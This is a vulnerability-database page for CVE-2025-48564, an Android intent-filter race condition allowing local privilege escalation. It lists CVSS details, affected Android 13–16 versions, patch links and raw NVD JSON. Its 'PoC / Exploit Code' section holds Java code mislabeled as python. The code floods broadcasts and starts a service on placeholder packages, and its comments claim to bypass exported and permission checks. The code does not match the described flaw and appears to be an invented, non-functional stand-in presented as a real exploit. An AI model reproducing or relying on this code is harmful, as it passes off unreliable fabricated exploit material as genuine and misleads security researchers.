Security Vulnerability Report
中文
CVE-2025-48564 CVSS 7.0 HIGH

CVE-2025-48564

Published: 2025-12-08 17:16:15
Last Modified: 2025-12-09 21:42:25

Description

In multiple locations, there is a possible intent filter bypass due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android Framework < 2025-12-01安全补丁
Android 特定版本(需查看2025年12月安全公告)
frameworks/base 受影响版本
packages/modules/IntentResolver 受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48564 PoC - Intent Filter Race Condition Bypass // This PoC demonstrates the race condition in Intent Filter handling public class IntentFilterBypassExploit { private static final String TARGET_ACTION = "com.android.vulnerable.TARGET_ACTION"; private static final String BYPASS_ACTION = "com.android.vulnerable.BYPASS_ACTION"; public void exploitRaceCondition() { // Step 1: Send initial intent to establish component state Intent setupIntent = new Intent(); setupIntent.setAction(TARGET_ACTION); setupIntent.setComponent(new ComponentName("com.target.app", "com.target.app.VulnerableComponent")); // Step 2: Rapidly send bypass intent during race window // The race condition allows bypassing Intent Filter validation new Thread(() -> { while (true) { Intent bypassIntent = new Intent(); bypassIntent.setAction(BYPASS_ACTION); // This may bypass permission checks due to race condition sendBroadcast(bypassIntent); try { Thread.sleep(1); // Tight timing loop } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); // Step 3: Trigger target component during race window Intent triggerIntent = new Intent(); triggerIntent.setComponent(new ComponentName("com.target.app", "com.target.app.ProtectedComponent")); startService(triggerIntent); } // The vulnerability exists in IntentResolver timing // See: android.googlesource.com/platform/packages/modules/IntentResolver/ public void demonstrateVulnerability() { // Race condition allows bypassing: // 1. exported=false check // 2. permission requirements // 3. Intent Filter matching } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48564", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.660", "lastModified": "2025-12-09T21:42:25.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible intent filter bypass due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/0f3e248787d88154c8592f6e055b6b3586f4877d", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/frameworks/base/+/28579dff4305f764302d85f95509671eafbf62ac", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/packages/modules/IntentResolver/+/4e6cf5285d0b1725fb9141e810050cfdb3fb42fd", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}